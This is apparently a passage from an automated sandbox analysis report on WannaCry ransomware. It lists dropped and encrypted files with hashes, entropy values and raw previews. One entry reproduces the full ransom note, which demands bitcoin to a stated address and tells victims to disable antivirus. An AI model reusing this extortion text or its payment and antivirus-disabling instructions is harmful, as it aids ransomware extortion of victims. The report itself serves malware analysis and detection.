                                                                                                      Preview:WANACRY!.... .*[o...Q...'s4"..+W"9.;..!...c.G.c.O\..Co..`j..@.|p_...Zi&sj....z4..:.......%..i.`_..].P._4..4K"..sQ~......H..u......q.....p.8W......2..k7...4...2..!U.c0...}...Q}}.9.o..."T../e...W.... ...c.6.Z..@~}`...mYq\b..+.v6|.#"....N..?w..Ac...h._x....<..............e`...1. cN.k..R........HI..K\..oE..}>.CK..g....T_........B.CiA..I&...7m"..D......|..OyN......^.W^3`..N......&..._..,v*.k.3B}.4._...Q..E.J'5.w.J*.'.j.9.R.v...m...S[.D...l*E.74.....CJ.UHP...K........9.[.]c0..htH}...g..<h.vg..t.\r8...........k_.O8......2.......[...H2..L.z.%u0.[..}i;4!.^.......kg.K.x%+DZ+.p..v&e.3..o|..........(..m/..!.a..2..Y...i.>.i+u=y...N.&....W=....y.t.}....{.'m.0.d.7._.0P...v.P.q@O.K_IV(..Ml.O.].J#m..o..=......(Y..z*.......>.I..xN./s.%;n...w.o..NW.6..Q.....G.Gd:..r..wp.]'.O.....,.....mu......0)s...Ma.N..-..9..#.|9.....l?.L+....{....-Q".d.@E...^..'..?u.`V..>.Xyp]F.q..@...*.(ec1$D.....i5..D.....~@..H..\..j.e ..F..`P.Pt^&..t.{U..$.t.o....[...8.E$@.G..1.

                                                                                                      C:\Users\user\Desktop\CZQKSDDMWR.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850092286232958
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkX5BIKIiTyJn6EJNBB+ZVARlhj7wUkYw+1oVWRzzwzkravwCvJ5UVpB6Ji4:bkJBIlYKNBB+oj7LGSzzwzkrwvy6T
                                                                                                      MD5:525DA0494556157CD284A8802CE1703B
                                                                                                      SHA1:D8B006EB9E186C4FAD6B7B024C6CA459982615D0
                                                                                                      SHA-256:7399DB986F0C83B37E0BD982086DBCAE17F304FCFCECF0080DA41809E5F02946
                                                                                                      SHA-512:B6366C3DFC0ED253DB7136AA10BD6C04AD15982A1FED4990EB8B56417D2B64B92F0644A8B8D01052CA0D355404F30433C6FB75448BF139A5E5583F6D239ED55A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.... .*[o...Q...'s4"..+W"9.;..!...c.G.c.O\..Co..`j..@.|p_...Zi&sj....z4..:.......%..i.`_..].P._4..4K"..sQ~......H..u......q.....p.8W......2..k7...4...2..!U.c0...}...Q}}.9.o..."T../e...W.... ...c.6.Z..@~}`...mYq\b..+.v6|.#"....N..?w..Ac...h._x....<..............e`...1. cN.k..R........HI..K\..oE..}>.CK..g....T_........B.CiA..I&...7m"..D......|..OyN......^.W^3`..N......&..._..,v*.k.3B}.4._...Q..E.J'5.w.J*.'.j.9.R.v...m...S[.D...l*E.74.....CJ.UHP...K........9.[.]c0..htH}...g..<h.vg..t.\r8...........k_.O8......2.......[...H2..L.z.%u0.[..}i;4!.^.......kg.K.x%+DZ+.p..v&e.3..o|..........(..m/..!.a..2..Y...i.>.i+u=y...N.&....W=....y.t.}....{.'m.0.d.7._.0P...v.P.q@O.K_IV(..Ml.O.].J#m..o..=......(Y..z*.......>.I..xN./s.%;n...w.o..NW.6..Q.....G.Gd:..r..wp.]'.O.....,.....mu......0)s...Ma.N..-..9..#.|9.....l?.L+....{....-Q".d.@E...^..'..?u.`V..>.Xyp]F.q..@...*.(ec1$D.....i5..D.....~@..H..\..j.e ..F..`P.Pt^&..t.{U..$.t.o....[...8.E$@.G..1.

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:OpenPGP Public Key
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.792984425042247
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:khbTAL0bC0PdVF/yiT5aR2bCaQB4o/EzOYYL6s3zrWVBlMPcPdy:MAkC0PdvvToR2bCKuEdYp3vW20o
                                                                                                      MD5:1C4D377F82EB6D7802E14D3397BDB64A
                                                                                                      SHA1:3EC82B63209227FC56687D0609690DA38EB41C55
                                                                                                      SHA-256:2823F735492495F414C968A1DB6AF36D7879397735E3C5A3DB518B0DC0176835
                                                                                                      SHA-512:5C6FBE8DCF9A217061FA81E997DCAD3E28F0000130776006391499EB0A3072F6F533865D8340B659AC7BDAA0C2EA62BD52387C07FE454D4014D73879489677B4
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:..SM~x..,2+.A.<;%i..".a..`P...2k...k..9..p\.[..:iO..e...<.n.B...{.EB(.@..K.N.....$.h.P.n....a..g.;.j.... .2..Z.../.:.C..kFw...j.s...1.n......?0`.&.kq."..Dz.o@.3?Rn..|..%....k......@.}.....h....}./KJ...c..}....zH0Z...........p.;...}......3..G........TMw..=$.&X`...@E..,g..lg..t..h........AY4.k......%...^x+...........a...p\...p....M]..e.(_.:..Hm..n...%?W..'.........x-.....~]K].G.G.oP......B"..S.!.7..?\..q....:b+l..l.\.A...h.a._..h...C[ (.h..(......Z..wA.A.e.J..k..6.-.....*u.!....s2@1....;.9y.@G%....v..$dT?.].?.8.22.5.%..{5.PO...l.+.&.|.!..9...j.r...h....5.....x.......?...!U...%c...;.*...Tn...n.++\....iI....C....w.[..{..p..*.w....D\....2I.P...0......7..'..nZr/.0Hn......JY5$....y.-.....%..1...L...h5...N...9w.2.o`%.#.p......\$]X2..K...S.~;...f..G..w....=....`..n...Gx..T..^X........p.5Lj..-u.X/].kS....b.=..P.Z.Gs..$fE..T.jb.Y.bm.*....'.~.^.ZV..(3..X.......~......^m....55.+...'>.._...Q..O.o...e...X.v.@.Q.HU..$0..=F..b.......6c..6=...py....

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.864195003981209
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkTv+iWSgFtINJOIkNAtF+7DRVRoS0w+rxL8sC0fKLuJnXrrZP+u9wfq4b:bkTv+iWsNII9XERoS0w+1YsC0fdn7x+V
                                                                                                      MD5:7DDEF691C7599D38D5BA4E3865B91DB2
                                                                                                      SHA1:54DF675D9936C014ED9A5450F914012984854332
                                                                                                      SHA-256:E849C287211E582595F2D87C58E7B6BC98EE051BC67DC832B89AA9917B494CB4
                                                                                                      SHA-512:96A3DD8021AA0FAB6E13A70C05D1B9FFDD624519409C91A22BA2C4A17BF5A7C6FEBFAAB7A2F34EB21A28EAF135530644CD91CF616E0EE48261578679867EBC05
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....u..kW.u..Q. ...o.s[.}.[>...nG[Q.9....G..`.../...5wd..m..Wl..I.h.q..m!.?..SJ..C>.."F....F.()S.@\....!YFH....)....+...wW-....q..,J.......U.f...I./.M.J..N...c..E.uz.}T...|.+.IP."Y....!..#..E.`i.+4..n....v...CVA<.7....L....q.?...K.@o<....e..1`z.u.............../{.B..Ek.2..T..d.GI...t......Y..;.....pe~....v..Wh...R{.z...a..f.).i.....9..AW"..[RN=..k.(..!...ef{.....l.q....../U. .....A\&AW...i..X~..^..c-gtv%.zYW .....>..*.W.f.@Zbg.._...f..6..].h..v.F....:*q.......9.op.#......~S.G...4nc|.^..v.k....5,..,/..........:&...$&+..K.....P.*.....&...o..a..|...Y(.N..,.....s.5.^a[0..n.P.......VR..k..eB.=.J..s..@q....h....er....j.\.r...`..\...,.3Yq>XC.T>....>.t*.i.....Cym..ieXN-"...4.0...f.".z`........MJmpB.z0...OwX....R.x(..j..8S...|.{.]..........2..#x.6j.$./...,l:Q..6R..;....eG..Q.g.;.-......gn..r:..}O}&..S...R^....P.Z..a9...r{.....Lbm..SY.......qK.x...i....X7En`....G....E.u;={.#r....0....Q...),..jsh.D...v.s....%m.......4.*..GUBM/.....h..j.P.\3..QV..

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.864195003981209
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkTv+iWSgFtINJOIkNAtF+7DRVRoS0w+rxL8sC0fKLuJnXrrZP+u9wfq4b:bkTv+iWsNII9XERoS0w+1YsC0fdn7x+V
                                                                                                      MD5:7DDEF691C7599D38D5BA4E3865B91DB2
                                                                                                      SHA1:54DF675D9936C014ED9A5450F914012984854332
                                                                                                      SHA-256:E849C287211E582595F2D87C58E7B6BC98EE051BC67DC832B89AA9917B494CB4
                                                                                                      SHA-512:96A3DD8021AA0FAB6E13A70C05D1B9FFDD624519409C91A22BA2C4A17BF5A7C6FEBFAAB7A2F34EB21A28EAF135530644CD91CF616E0EE48261578679867EBC05
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....u..kW.u..Q. ...o.s[.}.[>...nG[Q.9....G..`.../...5wd..m..Wl..I.h.q..m!.?..SJ..C>.."F....F.()S.@\....!YFH....)....+...wW-....q..,J.......U.f...I./.M.J..N...c..E.uz.}T...|.+.IP."Y....!..#..E.`i.+4..n....v...CVA<.7....L....q.?...K.@o<....e..1`z.u.............../{.B..Ek.2..T..d.GI...t......Y..;.....pe~....v..Wh...R{.z...a..f.).i.....9..AW"..[RN=..k.(..!...ef{.....l.q....../U. .....A\&AW...i..X~..^..c-gtv%.zYW .....>..*.W.f.@Zbg.._...f..6..].h..v.F....:*q.......9.op.#......~S.G...4nc|.^..v.k....5,..,/..........:&...$&+..K.....P.*.....&...o..a..|...Y(.N..,.....s.5.^a[0..n.P.......VR..k..eB.=.J..s..@q....h....er....j.\.r...`..\...,.3Yq>XC.T>....>.t*.i.....Cym..ieXN-"...4.0...f.".z`........MJmpB.z0...OwX....R.x(..j..8S...|.{.]..........2..#x.6j.$./...,l:Q..6R..;....eG..Q.g.;.-......gn..r:..}O}&..S...R^....P.Z..a9...r{.....Lbm..SY.......qK.x...i....X7En`....G....E.u;={.#r....0....Q...),..jsh.D...v.s....%m.......4.*..GUBM/.....h..j.P.\3..QV..

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\BJZFPPWAPT.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.788828476454615
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:1ONZsxZTmL6XkhG3zHMguXnWTm0DwKaPZ52SpJFwuO8reH:0ExZTmLCkhwHZhDQB5xpJeuO+eH
                                                                                                      MD5:FC629E4CA8705228717B128827C3B1A4
                                                                                                      SHA1:C24E8D56B0E2ED92358223325B663DE102E99E89
                                                                                                      SHA-256:0F80378E55080A774B02A0E613B2AA6CBBCC08EEBB0D65069AF578E3E2EA382B
                                                                                                      SHA-512:0B090BB9D2FD94EAA7DD0437CF3FE88F35CF9E104EDFCE09679CEEEC3E037C4E87FD4AEAF86D8E95331D0AD5385AACAD4D167A99ED33222250E2BE91803B8E52
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.U..Z.......Qn.0Uv.*.MT....&.9..S~c#.p../.@.!.....=R&....:.>.~..~<..p.Q.=Y.$..:.p.X...#g..#GP..np$..<9....C....E>]v?.+~l..nW..K8.KR..t..X......xh.........`t...h.`.<..Da5X...d..q...%3...B..+.NZ.y..e.-v.,..\.<.Z.w..a.b.B'O_2..|.f..m..x.#.f..6o.Y.,./..$.y..T.B.!...@.}}R......M..V.........no.eJ/..l.q.ui... ......T.e.i$.j...`N.3..v._.FE.<.7...be_.ma....7+.Q...`lE#gP....!|.............]>.>......f......M.`.%..?...E..+...\....%.-..|M..OW..D.g..ETg........(.^././.Y.9^.}...{....R9.....[.........u....ID..QW<...d......D4}M.&.J+|.v\ZD.PKQ......F=........<..?5.....\...J.{..._..G.q......h.K....Qeb....].:...g:`.a......]..`..3.X..*...F.@.M.w...'!.1.U.4W...OH..<...,`.@...NR...........f.."$D(..t...h.k=.d.i..+E....(.....6..(/...q.(.8_..*..H......z..R.V...hZ]s.!..|.A.ao.loUyxOy..(.;]...7E....d....?....b)@Q.4..Y...6.....r.H.M...:.AL`.M.1.:.p^.w..J.'..K..%..\>......iL.u:.YS.. .....v.<.......p..f]Z.O.u..*..j.$.....]X.....)}...q.oP.....R.....U2{..5...!...H...t

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\BJZFPPWAPT.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.855719288368018
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkMhMy3RF001nb7gkTtT4dWIMNLpRyZEPDPzvyIXH+4/WpOx:bk833r0mbPTF4dWIYo2PD7vzp/Wk
                                                                                                      MD5:E5BDE88CA06E499B75AA539BF7AD1E2A
                                                                                                      SHA1:F7299A3167DCAA39037A946BDB60875B438C413D
                                                                                                      SHA-256:A6385FDF87163B7C517870100CB40092F1CB5D8C37B0F338F25459FEFD38C0BD
                                                                                                      SHA-512:01171F4412ADB922D67835C029DDE43B9856F5129AF0961AD463DB8A5CD1002321E1FC4640DFB15B71A942D8568E9493DF0A74C7D304095A3091403570F92914
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....M....}.%........o.OKDg...J."&....X+.1.....G.<.P..._G..>..._...u....!...(..2....Wq..,?'8#.x.......jC..m..F.O.@Q.......Kr..k...\?.......S.5.>.P~.K..M.2`.'...O...'.\R..pb.\.[...g(...>.W...(.a.....2gq..\.t....t....Oq.....O.....NP.@.U@|L...l...5.OU..............G.TQ.....;..9-..Q.../....:..$i.!k$.j.=.cB..(!.vr.X..k...-......Q..8.~\.m%..C{z[.i.077. ..o.p......<.T<.,.&I........>B....c24........'...5JP..x.Vf.e.oq..W|.dG7.MI&...@.#.n.[o.w..@].1..].RJ..#.`$..$.2B..!g&...BC.Y..a.c...}....`<..G|$..-I.r_..T.KqF.5_.L......CU..>.P..j.m.[b.t..c4.`qw..!S..3z..5..[......1.x...p.xe...T|;.o....+...r^p.Q~.!....wez...#.1....1aG.z..}..x...k) ...:..J.o......H...,#..8.........Y...... ..UI...|.|.v..=d.m$......E..xC,..L.........'^..(.F...~../e.mP.........1....9.7..-j|f"p.&..w.......DM;p...~/.`dc...$.....R.?]ie\.q.`.1..$.....E.......1...:04p!P...]..Db|../a.uY..L.$b,....kg|...)nx..5.Q&...`I..].......:T......./..6l..X.....u.b...@O..d..]z?.A.p.TCZ...^.7Y.n

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\BJZFPPWAPT.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.855719288368018
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkMhMy3RF001nb7gkTtT4dWIMNLpRyZEPDPzvyIXH+4/WpOx:bk833r0mbPTF4dWIYo2PD7vzp/Wk
                                                                                                      MD5:E5BDE88CA06E499B75AA539BF7AD1E2A
                                                                                                      SHA1:F7299A3167DCAA39037A946BDB60875B438C413D
                                                                                                      SHA-256:A6385FDF87163B7C517870100CB40092F1CB5D8C37B0F338F25459FEFD38C0BD
                                                                                                      SHA-512:01171F4412ADB922D67835C029DDE43B9856F5129AF0961AD463DB8A5CD1002321E1FC4640DFB15B71A942D8568E9493DF0A74C7D304095A3091403570F92914
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....M....}.%........o.OKDg...J."&....X+.1.....G.<.P..._G..>..._...u....!...(..2....Wq..,?'8#.x.......jC..m..F.O.@Q.......Kr..k...\?.......S.5.>.P~.K..M.2`.'...O...'.\R..pb.\.[...g(...>.W...(.a.....2gq..\.t....t....Oq.....O.....NP.@.U@|L...l...5.OU..............G.TQ.....;..9-..Q.../....:..$i.!k$.j.=.cB..(!.vr.X..k...-......Q..8.~\.m%..C{z[.i.077. ..o.p......<.T<.,.&I........>B....c24........'...5JP..x.Vf.e.oq..W|.dG7.MI&...@.#.n.[o.w..@].1..].RJ..#.`$..$.2B..!g&...BC.Y..a.c...}....`<..G|$..-I.r_..T.KqF.5_.L......CU..>.P..j.m.[b.t..c4.`qw..!S..3z..5..[......1.x...p.xe...T|;.o....+...r^p.Q~.!....wez...#.1....1aG.z..}..x...k) ...:..J.o......H...,#..8.........Y...... ..UI...|.|.v..=d.m$......E..xC,..L.........'^..(.F...~../e.mP.........1....9.7..-j|f"p.&..w.......DM;p...~/.`dc...$.....R.?]ie\.q.`.1..$.....E.......1...:04p!P...]..Db|../a.uY..L.$b,....kg|...)nx..5.Q&...`I..].......:T......./..6l..X.....u.b...@O..d..]z?.A.p.TCZ...^.7Y.n

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.830575321680762
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:OcbWfI0swi4zEcqJDXz8gc9M04LHNzSuBU0nMivIB0Pp+v6pZ54R:JRw9EcEJrLHN+GUvivDp+iU
                                                                                                      MD5:2A90D82A3245167F2741258544B9D724
                                                                                                      SHA1:AC58E6B13DAA0C533B42438DE64168129807828D
                                                                                                      SHA-256:FA664A7179683D54D56E04F20499C909D4F19C286B5512CB9EFC73632DA60B12
                                                                                                      SHA-512:FC292553743F111FE7EB5E849D6979A1AA601974F2863C40283029161A6669F231F69C72E1CBBD3EE630C0C70688657C8B43EE409E6A815D439BE96A6920963F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.Yd.Z......r~^.0.&d|.....^.....x...?.....j&...+......u.z..W~.b.j K......4"Lp[8.).A..7T./...A.)kE....4....,{`.q...r=..q$....OJ..........i...;..Pf....<._..%..q.Ez.s'l...4.I...p.+vQY;..\g...a.9..6...[q.sR7....aFA..k....1.....F..C....FX/.Kw.>S..l.P....$.f...n..E:z..Z...:d.+..x..B.......&...UO]..h.?...i >YS.i..}&(..k.PO.v.U.H`.t%%..q....%.[......%%...\:....)..~=...X.... ..A.M..}}....;......\.M(x........~.......}k.,...U...2...%.L.D.\xY.....W..e2....0....Q...>...T..-.c.....w."rZ.QG...JxW.:..`.M>....3..9M'.........}....E$.S.1j..C..&.8..c..'..q'.q.^....VD.....-.... ../g....@.t"{."........a.......BH.(xMp]a...6-.......B.d.<....W.....T...6...8..i..rC.9.n....L...p.fP5....S.g.z.,Y@S.@%.nk..=...@....9G..~..+Y.`{....Di...FK....../v..|....}....b...y;.:V..m..N..A..e....}|...eq.G.L.CS.-..."$..u....eV.......9.Y...o...9....u..m....[..........".XCk..FN.>...n.g....e..G.Q..o.C. .(.4Bk"......H..H.~U..}...{I..\3..68>s6..2..E9n....$&..z......E.eA..~.B.

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.854560073332783
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkXkTu7cHdDL1sySMsHFicA2aa27CFrbQ4QDsDZE9cxMMzSxhu6KRipoEPB:bkXwAcHhLSymlijiCDsDOcxNeuo
                                                                                                      MD5:6A28B7918BA4719677F8DA4FFCDE26AC
                                                                                                      SHA1:84FBE517D18D753B9C159F3969394EE0E523C428
                                                                                                      SHA-256:DD4A997D4EC28DC01DA35AF518663B40FD41F34D2272D024827FED2971D96CBA
                                                                                                      SHA-512:F872D0693C0A7CC30AD98702EBD0CC7E68FF08EFF89EC27EE10E36FD82231162EA302E7117DDAA73B5CB8848743551447AB292CC943B8091A29C4140DAE8E22A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....5j....|'.....<..$D^...5.5........]f......:~.q.N......B..WG\......Q.}8n.p..g.}x.mA...0..U.Z.`.w...>.lkj.....m...............:t.E.J.B.D-F...m..L...hvx!.[y............_{......#......S.^g..!.j.LW.v..S....l4.KB..5A.Kg....J..Cha0{e....f.*...M.i.............."..[7.8-.`.jf.T...T1..+...^)x.N.m.>n./.)"..h..fqx..b+.c.l........QJ.._...WQ..,.....G...........=..".........8.zuh.....A~{...g../...5......}0].*..y\.|..<h...J...p."{..[.......g.p_....Y..M.g...[0.6........n20..f...2...gE.wm.X% .<.......~.d...I._.H.3...`..|..v7.W..c.WU..A.K...q..i....'\...r..O....j.....}..o.G.lx.^....lx.......P/.#.....E..3.f. G....>(. E4..'E.@}.q..9~J.O.C.J...|d..l.({&.%..C#.......9.,.R..r.Q;..)V./`...K.l...<.So.~L.72..[.U.w....".)...@.=..p%7}....i(..)..;..B(...I.^.s.{6.....,+*Z.M...`.)@.hM.z........&0.".+&...6v.3..............@ ..;...<..A...w.J?02 A"..c..i.:/.0.w..5,};...c_.N~.N...?.:R367c...I..6g.9p.y.....u......2D.a/...C..Lt... .=)...VL6......P..D`<.....Xh...8

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.854560073332783
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkXkTu7cHdDL1sySMsHFicA2aa27CFrbQ4QDsDZE9cxMMzSxhu6KRipoEPB:bkXwAcHhLSymlijiCDsDOcxNeuo
                                                                                                      MD5:6A28B7918BA4719677F8DA4FFCDE26AC
                                                                                                      SHA1:84FBE517D18D753B9C159F3969394EE0E523C428
                                                                                                      SHA-256:DD4A997D4EC28DC01DA35AF518663B40FD41F34D2272D024827FED2971D96CBA
                                                                                                      SHA-512:F872D0693C0A7CC30AD98702EBD0CC7E68FF08EFF89EC27EE10E36FD82231162EA302E7117DDAA73B5CB8848743551447AB292CC943B8091A29C4140DAE8E22A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....5j....|'.....<..$D^...5.5........]f......:~.q.N......B..WG\......Q.}8n.p..g.}x.mA...0..U.Z.`.w...>.lkj.....m...............:t.E.J.B.D-F...m..L...hvx!.[y............_{......#......S.^g..!.j.LW.v..S....l4.KB..5A.Kg....J..Cha0{e....f.*...M.i.............."..[7.8-.`.jf.T...T1..+...^)x.N.m.>n./.)"..h..fqx..b+.c.l........QJ.._...WQ..,.....G...........=..".........8.zuh.....A~{...g../...5......}0].*..y\.|..<h...J...p."{..[.......g.p_....Y..M.g...[0.6........n20..f...2...gE.wm.X% .<.......~.d...I._.H.3...`..|..v7.W..c.WU..A.K...q..i....'\...r..O....j.....}..o.G.lx.^....lx.......P/.#.....E..3.f. G....>(. E4..'E.@}.q..9~J.O.C.J...|d..l.({&.%..C#.......9.,.R..r.Q;..)V./`...K.l...<.So.~L.72..[.U.w....".)...@.=..p%7}....i(..)..;..B(...I.^.s.{6.....,+*Z.M...`.)@.hM.z........&0.".+&...6v.3..............@ ..;...<..A...w.J?02 A"..c..i.:/.0.w..5,};...c_.N~.N...?.:R367c...I..6g.9p.y.....u......2D.a/...C..Lt... .=)...VL6......P..D`<.....Xh...8

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\EFOYFBOLXA.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.801029920470473
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:x4jFAhVSDfE/1YdDG1meYVNsSFbFfnAZrbQ63NYwUmfRz+8cQRcwu:x2QWs9oQ0nNbNnAbp3kyRz+8cQRcwu
                                                                                                      MD5:879EC07A7DB6254F7C812971030E85DF
                                                                                                      SHA1:A5818EBA5B39C23F70D2C9F262C8E04D2F42B5F5
                                                                                                      SHA-256:C4BD60FA61FFB62EE25D76F27B814B930A2EEC03BE8E699D3C686A443FE87FC5
                                                                                                      SHA-512:17A71859D10035781C7ACBCE32A70D15CEE0A345679B8F5833975611569A801AC79FFB1C4719C18F2907A222CB6BF42CB324E4C9641DE289BFEB832037DC7C6D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
